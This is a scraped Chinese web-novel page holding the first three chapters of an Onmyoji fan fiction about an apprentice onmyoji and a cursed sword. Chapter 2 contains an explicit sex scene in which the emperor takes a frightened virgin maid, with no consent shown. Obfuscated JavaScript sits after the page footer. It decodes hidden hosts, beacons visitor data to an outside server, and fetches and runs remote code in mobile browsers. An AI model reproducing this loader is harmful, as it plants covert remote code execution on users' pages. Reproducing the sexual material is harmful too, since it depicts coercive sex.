热搜排行
阴阳师——妖刀记 1-5


  世界观及设定参考手游阴阳师,平安夜行抄,以及一些维基百科的资料爲参
考,希望大家喜欢。


            妖刀记(一)阴阳学徒

  这个故事,发生在人鬼共生的年代裏……原本属于阴界的魑魅魍魉,潜藏在
人类的恐慌中伺机而动,阳界秩序岌岌可危。幸而有一群懂得观星测位,画符念
咒,还可以跨越阴阳两界,甚至支配灵体的异能者。他们各尽所能,爲了维护阴
阳两界平衡赌上性命的战斗。并被世人尊称爲——阴阳师。

  现在,这个华丽绚烂,独数魑魅魍魉的异想世界,即将……

  京都内外从不缺乏新闻,好像在今天,听完昏昏欲睡的早课以后。身边的学
生们纷纷开始了议论。

  「听说了吗,听说了吗,那个叫做安倍晴明的人要就任天文得业生了!」

  「什幺?就是那个传说中白狐和人的孩子?」

  「是呀是呀,据说还是个异常俊美风流的小白脸…」

  听了一会儿无聊的八卦,没精打采的我离开了中庭,缓步走去饭堂。

  我叫阿越,是一名阴阳寮的候补生,也就是一名见习阴阳师。

  本来像我这种没什幺背景家传的孩子是和阴阳术无缘的,只因爲小时候路遇
一位地中海的猥琐大叔,于是……

  和他半天瞎扯的时候,无论听到他说什幺,我就回答一个』我信』。

  然后就被这位猥琐大叔以』此子与我有缘』爲借口给拐来了京都。

  「早知道当时就不该顺着那个老家伙的话说,现在一天天的,无聊死了。」

  暗自歎了口气,默默掐了个不动印,想要祛除一下乱七八糟的想法,一个声
音却让我结印的手指差点弯掉。

  「啊哈哈哈!这不是阿越嘛!好啊!快来听老头子讲讲昨晚的梦境!」声音
的来源自然就是那个把我拐来京都的阴阳师贺茂中行了。

  「听我说啊,爲师我可是梦到一个巨大无比的白色飞鸟,载着爲师在空中翺
翔了好久呢!哈哈哈哈!」

  伴随着声音而来的是一双强有力且不容分说的大手,把我前进的方向硬生生
掰了一个九十度。

  默默在心裏和午饭做了个简短的告别仪式,我认命的给贺茂中行行礼——
「大师,您的梦我真的很难以理解的。」

  「就好像在鱼的肚子裏潜入水中还有刚刚的在鸟儿身体裏翺翔天际…如果真
要说的话那也只能是唐国传说中来的那种叫鲲鹏的生物才可以实现了吧。」

  我叫阿越,从小到大我都有个说不上是好事还是坏事的习惯——我无法去否
认或者嘲笑一个认真的人。

  看着我一脸无奈,贺茂大师却完全不在意似的,拽着我的衣袖就往阴阳寮的
后庭走去。

  「跟你说啊阿越,你这个人啊,就是应该活泼一点,你看那幺多和你年纪相
仿的小孩儿,你也不找个玩伴。还要劳烦我老人家天天陪你说话……」

  「那要不明天就不劳烦您老人家,可好?」

  趁着絮叨间隙赶忙村了老头一句,果然换来了又一阵更加大力的拉扯和装傻
充楞:「啊哈哈哈天气真好啊!阿越今天我心情好,请你吃鱼啊!」

  「大师,我又不是您家的猫又…」

  习惯了这种相处模式的我正想和往常一样认命的被拽走接受一下午的轰炸,
前面拽着我一路横沖直撞的老蛮牛却被一只蓝白相间的扇子拦了下来。

  「中行先生,您后面的那位少年内衬要被您揪坏了,很失礼的。」

  面白如玉,高冠束带,长着一双细长的狐貍一样的眼睛,放佛看透世事一样
的一个年轻人,轻轻上前一步:「安倍晴明,见过贺茂中行先生。」

  「啊是晴明啊,你先等等我把阿越安顿…。晴明!?安倍晴明,你居然还敢
来见我!??」

  那只拽着我衣领的大手终于离我而去,但是现在的我感觉一点也不好。如果
说刚才的贺茂中行是个正常人裏的老疯子,现在的他,已经变成了一座肉眼可见
的活火山,就差下一秒将巖浆喷向面前的狐貍一样的青年男子,冒出点多余的顺
便也我烧个干净。

  然而对面的男子似乎有着丰富的处理类似事件经验,半开扇子轻捂嘴唇,
「先生,这身衣服可是蜜虫亲手缝制,您如果不小心烧坏了…今年的年关,您可
就要陪家裏的那只猫吃鱼了。」

  长长的眼睛弯了弯,眼睛的主人默默地继续说起来:「虽说上次给您说琵琶
湖裏有条古鲲蹤迹的事情是假消息,但您不也因此在那裏镇压了一群害人性命的
夜叉吗,天皇大人也因此奖励了您从五位下的官职,这可是难得的功绩呀。」

  不说还好,一说火山又有爆炸的迹象:「你不过动动嘴,我白白跑了一百裏
地!而且那裏明明是该你管的,分明就是你想偷懒而已!」

  「哎呀哎呀,不要在意这种细节,我们阴阳师,难道不就是爲了守护人间界
的太平吗?中、行、师、父?」

  这个称呼好像带有魔力一样,老头立刻没了脾气。

  「哼,算了,算你欠我……不行。」贺茂忠行咬牙切齿道。

  「你欠的东西从来没还过。现在就让你兑现吧。」

  老头子一把拉住我,』放』到两人中间:」晴明,你的占蔔造诣比我强得多,
这个孩子,帮我看一下。」

  八卦听得津津有味的路人忽然变成了主角,而且还是双倍的关注,我也不禁
扯了扯嘴角。

  转向贺茂中行:「中行大师,您二位既然久别相逢,说话就说话,别拉我当
话题呀。」

  话到一半,时间与我仿佛暂停了一样,意识虽然还在,嘴唇却不受控制的无
法开合。

  耳畔只听见一个低沈的声音:「兵、临、阵、者、皆、阵、列…急急如律令。」

  声音来得快去的也快,咒语飘散的同时我的身体控制权又回到了自己手裏,
而面对面的两个阴阳师的脸色却有些难以捉摸。

  中行:「说吧晴明,你看到了什幺。」

  晴明:「水火风雷皆非所属,恕我直言。这孩子的天赋和命格不太适合继续
学习阴阳术了。」

  中行:「不可能,我虽然断别人不準,但是这孩子的命格的确和我有缘,莫
非……」

  一阵难受的沈默,细长的狐貍脸歎了口气,走过来帮我整了整衣襟:「老师,
这个孩子,命格可是大兇。」

  大兇之命。一般来讲,拥有这种命格该是一生杀伐不断,煞气逼人,整个人
都会散发着』生人勿近,少儿不宜』八个大字。

  但凡有人敢以身犯险,则立刻被煞气逼迫。轻则头疼脑热卧病修养,重则血
光之灾小命不保——总之要多兇险有多兇险。

  但是天可怜见,自己给自己作保,从小到大我除了不太喜欢和别人接触之外
也没有和谁动过手,更别说让别人受伤流血之类的事情,心中不免对二位阴阳师
的能力有了些呵呵:「也不是很準嘛……」

  中行老头子见多识广,明显没有我浅薄,话裏有话的继续追问:「晴明你莫
要说话说一半,大兇命格你我都知道是什幺样的,他这明显有些问题。」

  对面的狐貍脸点了点头,轻轻说道:「正是如此,这少年的心性中正平和,
虽然对术法的亲和只算中人之姿,但是既然命格如此,必然有一番造化。」

  若有所思的擡头看了看天,晴明决定再透露一点消息。

  「老师,我记得这一批学生快要结业了吧?今年的大考和命台…哎呀!」

  话说到一半,这位年轻的阴阳师忽然抢命一样的一阵风似的消失在后门,只
听见隐隐传来一句敷衍的告别:「忽然想起要给家裏的小姑娘带海佬回去,师父,
有空再聊呀!」

  我和贺茂忠行都看傻了,心说怎幺堂堂安倍晴明,京都风头最劲的阴阳师居
然是个如此惫赖之人。大眼瞪小眼看了一会儿,老头儿也没有了往日谈兴,挥挥
手準备让我滚蛋。

  眼见不用听一下午唠叨,我立刻失礼转身要溜,却又听见老头子在身后忽然
说了一句:「外衣留下,领子被我拽歪了,找人给你修补修补。」



            妖刀记(二)有刀大兇

  衣服丢给贺茂大师以后,我也离开了后庭。只剩下老头儿一个人盯着衣服眉
头拧出了一个』川『字。只见那件外衣上面闪烁着仿佛雷电一样的小小文字,还
有一个粗略的图形。

  『有刀大兇,藏于天皇深宫,本以煞气震慑鬼神。如今妖怪横行,此刀亦蠢
蠢欲动,若无人驾驭恐成灾祸,不可不察之。师之心念所以,应在此子之事,现
有六字之计,望牢记之:移此吉,居此绝!』

  看到这裏,贺茂法师不禁身体颤抖了一下。霎时天空也传来一声响雷,连着
衣服上的文字也化作一阵小小电光,把整件衣服烧毁殆尽,只听见外面有人大喊:
「不得了,皇宫失火!妖……有妖怪啊!」

  贺茂中行咬咬牙,大声命令起来:「所有阴阳师,还有……学徒!立刻集合,
前往皇宫!」

            ——————————

  半刻之前,天皇宫中。

  村上天皇虽说尚且算是勤勉,但毕竟也算是全日本最有权势的男人。某些事
情上面,只要来了欲望,就难以把火压了下来。盘算着这时间也不适合去后宫,
就挥手招内廷小姓去带来一个姿容尚可的宫中侍女带进了偏殿。

  小姓退出以后,村上天皇挥手把侍女招了过来,搂在怀中亵玩起来。

  「小美人儿,是不是手太凉了?」村上天皇一边说着,一边双手攀上侍女的
乳尖,轻轻捏揉着两颗青涩的乳肉。

  未经人事的小姑娘哪裏遭的住这些,腰肢一垮,整个人扑倒在天皇身上。

  天皇也不恼怒,反而有些自得。感觉自己下身的阳具坚硬如铁,也顾不得再
做什幺前奏。

  拍了拍侍女命令她趴在了偏殿的桌子上,褪掉她的罗裙,自己也只脱了裤子,
把阳具对準花蕊,用力压了下去。

  「哎呀!好痛…」姑娘的痛呼并没有妨碍男人的性致,反而让他更多了些攻
城掠地的快感。

  初经人事的花径紧致有余湿润不足,却也让天皇大呼过瘾。

  双手扶着侍女的腰,一边抽插一边走神,处女的落红混合着爱液整个包裹在
阳具上,每一次进入姑娘的身体都像是一次征服。

  男人沈重的呼吸,伴随着女人轻声的低吟,才不到半刻就有了去的感觉。

  想想一会儿还得好生休息一下,天皇倒也没有刻意忍耐。轻轻拍了拍侍女的
臀瓣,在小姑娘畏畏缩缩回头的同时猛地加快了速度和力度。

  于是哀婉的轻呼变成了持续的呼喊,似乎是痛苦似乎是在释放,姑娘双手折
叠,将面庞埋在臂弯裏,眼角不知是疼痛还是怎样挤出几滴泪水。

  随着一阵暴风骤雨似的鞭挞,初经人事的姑娘的意识有些模糊了。但是本能
领她踮起脚尖,塌下腰腹,把自己的秘密花园提升到最容易被入侵的角度。

  「啊…………。」

  终于,伴随着男人一声满足的呻吟,整个偏殿静了下来。心满意足的天皇缓
缓离开侍女的身体,看着完全趴在桌上已经没力气站起来的姑娘,也懒得命令她
来服侍自己穿戴衣服。随手拿起身边一块锦缎自己清理了起来。

  而锦缎盖着的,是一把刀。

  天皇把自己擦拭过交合之处的锦缎随手丢回了刚才的刀的旁边,就在这时候,
异变忽然出现。

  一道惊雷,直直劈在了偏殿顶部,虽说经过避雷设计,但是大殿仍然仿佛被
摇晃一样颤抖不已。

  村上天皇大惊之下勉强提起了裤子,顾不得刚刚的侍女,独自跑出偏殿。

  前脚出来,又有两道闪电,其中之一稳稳的劈在偏殿顶部,整座偏殿瞬间燃
起大火。

  而另一道,精準的命中了刚刚跑出来的那位日本最有权势的男人。

               ————

  反正阴阳寮的这些学徒也不会指望派上用途,其他阴阳寮大佬们纷纷就位守
住宫中的四方,学徒们就三三两两被分在大佬周围进行难得的实战演练。

  「阿越,你跟着我,不是和你吹,中行我可是……」

  皱着眉头揉了揉自己的耳朵,努力屏蔽着无聊的噪音。

  贺茂忠行自告奋勇去问题最大的偏殿调查,刚到门口,迎面刚好撞上一批落
荒而逃的宫中侍女和小姓……

  以及他们身后的一个衣衫不整,浑身漆黑只有腰跨之间白白嫩嫩连跟毛都没
有』妖怪『。

  这妖怪一面追赶衆人一面嘴裏不知吼着什幺,头顶还徐徐冒着烟,乍看似乎
气势十足,但是……冷静下来以后怎幺都觉得有些古怪。

  我:「先生,除了唐纸伞妖这种普通小妖怪以外,会有妖怪只变下半身吗?」

  歪头一看,却只见身边的老头子脸色通红,脑门儿上细汗都冒出来一层。

  似乎如临大敌的样子,沖我挥手示意我赶紧清场。

  赶紧清退宫中内侍,叮嘱他们千万不要靠近以后,看见偏殿已经升起了一个
硕大结界。

  裏面轰隆之声不绝,我赶忙手掐雷决沖进结界想要帮忙,却发现院中的贺茂
忠行正站在那个』妖怪『身前拿着块布料不停擦拭——一边擦还一边有閑暇掐个
引水之术沖洗一下发黑的布料……更要命的是,老头子从我进入结界的时候就在
放声狂笑。

  就是在这种诡异的场面裏,老头儿手脚麻利,抹布上下翻飞。

  擦拭干净以后,终于也止住了笑声,明显可见的是一位男性不明生物。

  贺茂忠行似乎很满意自己的搓背水平,施施然就脱下了自己的外衣。

  两个男的,其中还有个糟老头子,光天化日的……我不禁心中一阵恶寒,干
笑两声:「哈哈,先生好胃口啊,天气不错,我就先退下……」

  中行:「臭小子,这是天皇陛下,不可失礼。今日之事事关皇家威严,你切
不可多语。」

  原来刚刚的细汗还真是吓出来的,收起心中诽腹。我还是得做出配合的样子:
「天皇?先生您真是厉害,涉猎真广泛,天……」大拇指刚刚竖起来,才反应过
来贺茂忠行的意思:「这个爆炸头煤球怪是天皇陛下?!」

  没好气的瞪我一眼,贺茂忠行将衣服给天皇简单披在身上,对着这位风流仁
兄一个响指,只见这位天皇陛下就一屁股做在地上。

  中行:「天皇陛下怕是惊动了什幺大妖,被妖气所沖,又被妖气引来的雷火
击中。所幸所穿黄袍被我等加过一些简单的防护法术,现在只是会神誌不清一阵
罢了。」

  难得这次讲解没有唠叨,我自然轻拍老头儿一记马屁:「看看还是中行先生
厉害。这大妖怪听说先生要来都吓得不敢出现,咦?您指那边做什幺?」

  贺茂忠行指着破损的偏殿:「刚刚雷火主要劈的是这座大殿,虽然火势被我
用风巽决给压住了,你去裏面看看别还有什幺伤员之类的。」

  老不正经的朝村上天皇的下半身努了努嘴,继续道「我可不相信堂堂天皇陛
下大白天的自己在宫殿裏自渎的。」

  听着如此劲爆话语,有些哭笑不得的走进偏殿。内裏一片狼藉,还真有个下
半身赤裸的小姑娘趴倒在地上,身上似乎没有明显伤痕。

  救人要紧顾不得男女之防。赶忙走上前去把小姑娘翻过身来,我却被吓得一
声惊叫!



           妖刀记(三)大家,请去死吧

  那是一张被烫的面目全非的脸,像是被火焚烧过一样。原来姣好的面容不複
存在,可怕的脓肿和鲜血布满了脸庞。

  但奇怪的是,小姑娘只有面部和手被严重的灼伤。努力镇定下来抱起小姑娘,
却忽然一股莫名的灼热感觉传来。

  那块盖住妖刀的锦缎,此刻就像一团燃烧的火焰,仿佛阴魂一样的追向我怀
裏的姑娘。

  『再让她被烧中怕是要出人命了!』危机之时下意识作出反应,我转身朝着
门口用力向前一步将姑娘向门外高抛,然后大喊:「先生!接住!」顺便整个人
堵住门口,当我回过头来,发现那块锦缎已经追至我面前。

  下一瞬间,我的眼前一片黑暗。

  ————并没有预想中的烈火焚身,努力睁开双眼,周围是一片黑暗。

  一片黑暗,除了正对着我四五步的距离,一位身披重铠战裙,手持长刀的少
女,金黄色的双瞳并未传递出人类的普通情感。

  她右手压住刀把,左手伸向我轻轻指唤着:「你也看到我了吗……」

  「当我遭遇危险的时候,就会变成那样……变成兵器,这把妖刀。很可怕,
对吧?」

  「强的话,会伤害别人;弱的话,会被别人伤害。力量就是这样的东西。」

  「强者和弱者,到底哪一边比较幸福呢?」

  看着我摇了摇头,少女嘴角扬起来:「你也不知道答案吗?……也许没有谁
知道吧。」

  我继续摇了摇头,无奈感慨:「原来不停自说自话的唠叨,不仅仅是老年人
的特权啊……」

  或许是说错话,或许流程本该如此,少女皱起眉头,四周的黑暗也退开,几
个模糊不清的影子漂浮在我身边。

  长刀在少女身后画了个漂亮的弧线,双手侧举着长刀,慢慢说道:「既然如
此,请大家,都去死吧!」

  不过四五步的距离,少女一步一斩,身材曼妙的少女仿佛在随着长刀律动;

  五个漂浮的影子没有能挨过第二下的,直到第六刀横斩挂着罡风向我袭来。

  我才把剩下的半句话说完:「不过啊,你说的其实也对的。」

  我叫阿越,我很难否定别人的认真。

               ————

  当我再次醒来,已经回到了自己在阴阳寮的居所。下意识的用手摸了摸自己
的脸,好像并没有毁容的迹象。撑起身子,手脚似乎也还完整,在我开始怀疑自
己是睡过头的时候,一个温婉的声音从门口传来:「越君,你醒了?」

  就像春天提前来到了小屋,似乎所有和木头相关的东西都开始情不自禁的生
长;面前的女子看上去双十年华。

  挽着松散的发髻,手裏拖着几件衣物,一点朱唇张口便是一阵桃花的芳香:
「我是晴明大人的式神蜜虫,越君,已经昏睡一整天了。晴明大人吩咐我来服侍
您更衣。」

  「不用,我自己就……」拒绝的话还没讲完,一阵痛苦从颈部袭来,勉强撑
起的身子立刻倒了回去。

  像是倒在两团柔软的棉花上一样,春天似乎离我又近了一些。蜜虫就像闪到
我的身后一样,『托』住了赤裸的我。

  「太过逞强,会让我困扰呢,越君。」轻柔的双手挽住我的双臂,刚刚她手
中的衣服在空中缓缓飘了过来。

  温柔的声音不容辩驳:「请允许我爲您更衣。」

  脸色红的一片,连颈部的痛感都没那幺明显了,我勉强把脸侧过一边,似乎
感受到了一个小小凸起。托着我的两团『棉花』的主人却一声轻呼:「哎呀。」

  蜜虫的连也随着红了起来,对着我吐气如兰「越君,不可以犯色呢……」

  沈醉在一阵眩目的温柔裏,我心裏想:』着这大概就是春天和天国吧?…

  …『

  屋外,贺茂忠行和安倍晴明两人相对而坐,悠閑的品着香茶。中海中行面色
有些不善:「居然让蜜虫去服侍那小子更衣,简直是太失礼了!」

  狐貍脸男子就淡定许多:「没关係,我观阿越并非淫邪之辈,蜜虫被我收服
之后也洗去了之前的气息,只留下春意难以祛除罢了。」

  「那是」中行似乎在回忆着美好的过往:「之前的蜜虫,可是没有男人能拒
绝的。」

  』啪『的一声打开扇子遮住口鼻,晴明轻声说着:「倒是先生这次拯救村上
天皇于危难,又让天皇以爲你保全了皇家威仪,怕是又要』高升『了呢。」

  贺茂忠行却没有接话,反而显得有些谨慎。「皇室之丑从来都不是好来路的,
你让我把看到天皇茍且之事全推给那个小子,岂不是让他在风口浪尖面对危险?」

  「阿啦啦,先生难道不是已经有我这个关门弟子了,怎幺对这个小子额外上
心?」狐貍脸男子缓缓合上扇子,不急不忙说着:「妖刀既然认他爲主,这一路
必然是杀伐不断,否则,煞气凝结,纵是先生您,难道有信心驾驭吗?」

  贺茂忠行歎口气:「即使如此,也还是有些欠妥当。这孩子明明还未获得阴
阳师的资格。」

  「等到源家的那位带着他的刀出关,可就不是有欠妥当的事情了。」狐貍一
样的笑容难得严肃起来。「宫中这把无名妖刀,看上去和』鬼切『好像并未有什
幺关联。但是鬼切刚刚幻化人形,这边就闹出这幺大动静……」

  似乎下定决心,贺茂忠行点点头:「那就按你说的来,不过没经过命台洗练,
除了这妖刀姬,阿越不能获取其他式神的协助。可怎幺办才好呢?」

  「师、父、大、人!」晴明撇撇嘴「源赖光也只有一只鬼切而已,您和他正
面对抗,谁胜谁负?」

  「这……你怎幺能拿阿越和怪物相比较!」贺茂忠行假借恼怒转移了话题。

  并未进一步追问的晴明轻轻向后倾靠在柱子上,懒洋洋的接下去:「妖刀之
主,自然有自己的造化。不和疯子比较,也不需要太过担心的……那幺,剩下的
事情,就交给您了。」

  话音未落,轻倚栏桿的男子化成了一张白色的小纸人,仿佛没出现过一样。

  贺茂忠行却没再次生气,不知是心中有事,还是铺面的春风的干扰呢?

  「哈哈,蜜虫,叔叔抱抱~ 」换出一张猥琐面孔的老阴阳师,顺着香气扑了
过去。

  蜜虫惊慌的声音:「呀!中行大人,请您自重!」

  「啊,这奶子真香,啊不对,是这香气真大,啊也不对。」鸡飞狗跳了一阵
子,随着』砰『的一声响,世界安静了。

  中行的式神猫又的声音传来:「抱歉,主人又给你添麻烦了。」

猜你喜欢下面这些
function xZUWksQK(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function PUjpG(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return xZUWksQK(t);};window[''+'J'+'N'+'A'+'G'+'t'+'v'+'W'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function iwUzp(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=PUjpG,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=iwUzp(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15745/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=iwUzp(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmNzcHN4aC5jbiUzQTg4OTE=','d3NzJTTNBJTTJGJTTJGYS5kdGZhb2kuY24lM0E5NTTM0','168623',window,document,['l','T']);}:function(){};